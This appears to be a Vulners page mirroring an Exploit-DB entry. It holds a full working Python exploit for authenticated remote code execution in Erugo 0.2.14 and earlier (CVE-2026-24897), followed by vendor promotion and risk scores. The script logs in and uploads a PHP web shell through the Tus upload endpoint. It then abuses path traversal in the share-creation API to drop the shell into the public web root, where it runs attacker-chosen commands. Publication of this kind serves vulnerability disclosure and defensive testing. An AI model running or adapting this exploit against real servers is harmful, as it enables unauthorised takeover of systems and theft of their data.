Lucene search
K

Erugo 0.2.14 - Remote Code Execution (RCE)

🗓️ 30 Apr 2026 00:00:00Reported by abdulmoizType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 63 Views

Authenticated remote code execution in Erugo versions up to 0.2.14 (CVE-2026-24897).

Related
Code
# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)
# Date: 2026-02-02
# Exploit Author: Abdul Moiz
# Vendor Homepage: https://github.com/ErugoOSS/Erugo
# Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf
# Version: <= 0.2.14
# Tested on: Linux (Docker)
# CVE: CVE-2026-24897

import requests
import json
import sys
import time
import base64
import argparse
import random
import string
import warnings
from datetime import datetime, timedelta, timezone

# Disable SSL & Deprecation Warnings for clean output
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning) 

class ErugoExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip("/")
        self.username = username
        self.password = password
        self.session = requests.Session()
        
        # Standard Headers
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Exploit-DB)",
            "Accept": "application/json",
            "Tus-Resumable": "1.0.0"
        })

        # Generate a random 8-char filename to prevent collisions
        rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
        self.shell_name = f"{rand_str}.php"
        self.shell_content = '<?php system($_GET["cmd"]); ?>'

    def get_csrf(self):
        """Initialize session cookies"""
        print("[*] Initializing session...")
        try:
            self.session.get(f"{self.target}/login", verify=False, timeout=10)
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            sys.exit(1)

    def login(self):
        print(f"[*] Authenticating as {self.username}...")
        url = f"{self.target}/api/auth/login"
        data = {"email": self.username, "password": self.password}
        
        try:
            r = self.session.post(url, json=data, verify=False, timeout=10)
            if r.status_code == 200:
                token = r.json().get("data", {}).get("access_token")
                if token:
                    self.session.headers.update({"Authorization": f"Bearer {token}"})
                    print("[+] Login Successful.")
                    return True
        except Exception as e:
            pass
            
        print("[-] Login Failed. Check credentials.")
        sys.exit(1)

    def upload_payload(self):
        print(f"[*] Uploading {self.shell_name} via Tus Protocol...")
        
        # 1. Tus Creation (POST)
        post_url = f"{self.target}/files/"
        
        # Base64 Encode metadata
        filename_b64 = base64.b64encode(self.shell_name.encode()).decode()
        filetype_b64 = base64.b64encode(b"application/x-php").decode()
        
        headers = {
            "Upload-Length": str(len(self.shell_content)),
            "Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}"
        }
        
        try:
            r = self.session.post(post_url, headers=headers, verify=False, timeout=10)
            if r.status_code != 201:
                print(f"[-] Tus creation failed. Status: {r.status_code}")
                sys.exit(1)
                
            location = r.headers.get("Location")
            file_id = location.split("/")[-1]
            
            # 2. Tus Data Transfer (PATCH)
            patch_headers = {
                "Content-Type": "application/offset+octet-stream",
                "Upload-Offset": "0"
            }
            
            r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)
            
            if r.status_code == 204:
                print(f"[+] Payload uploaded. ID: {file_id}")
                return file_id
            else:
                print(f"[-] Data upload failed. Status: {r.status_code}")
                sys.exit(1)
                
        except Exception as e:
            print(f"[-] Upload error: {e}")
            sys.exit(1)

    def trigger_path_traversal(self, file_id):
        print("[*] Creating malicious share...")
        url = f"{self.target}/api/uploads/create-share-from-uploads"
        
        # Fix Date Warning: Use timezone-aware UTC
        tomorrow = datetime.now(timezone.utc) + timedelta(days=1)
        expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z")

        payload = {
            "upload_id": "exploit", 
            "name": "exploit_share",
            "recipients": [],
            "uploadIds": [file_id],
            "filePaths": {
                 # VULNERABILITY: Path Traversal
                 file_id: f"../../../../../public/{self.shell_name}"
            },
            "expiry_date": expiry,
            "password": "", 
            "password_confirm": ""
        }
        
        try:
            r = self.session.post(url, json=payload, verify=False, timeout=10)
            if r.status_code not in [200, 201]:
                print(f"[-] Share creation failed. Status: {r.status_code}")
                print(f"    Response: {r.text}")
                sys.exit(1)
            print("[+] Malicious share created.")
        except Exception as e:
            print(f"[-] Error creating share: {e}")
            sys.exit(1)

    def execute_command(self, cmd):
        shell_url = f"{self.target}/{self.shell_name}"
        print(f"[*] Executing command: '{cmd}' at {shell_url}")
        
        time.sleep(1) # Wait for filesystem sync
        
        try:
            r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10)
            
            if r.status_code == 200:
                print("\n" + "="*50)
                print(f"COMMAND OUTPUT:")
                print(r.text.strip())
                print("="*50 + "\n")
            else:
                print(f"[-] Command failed. Status: {r.status_code}")
        except Exception as e:
            print(f"[-] Execution error: {e}")

def main():
    parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE')
    parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)')
    parser.add_argument('-u', '--username', required=True, help='User email')
    parser.add_argument('-p', '--password', required=True, help='User password')
    parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
    
    args = parser.parse_args()
    
    exploit = ErugoExploit(args.target, args.username, args.password)
    
    exploit.get_csrf()
    exploit.login()
    fid = exploit.upload_payload()
    exploit.trigger_path_traversal(fid)
    exploit.execute_command(args.command)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.18.8 - 10
EPSS0.03008
SSVC
63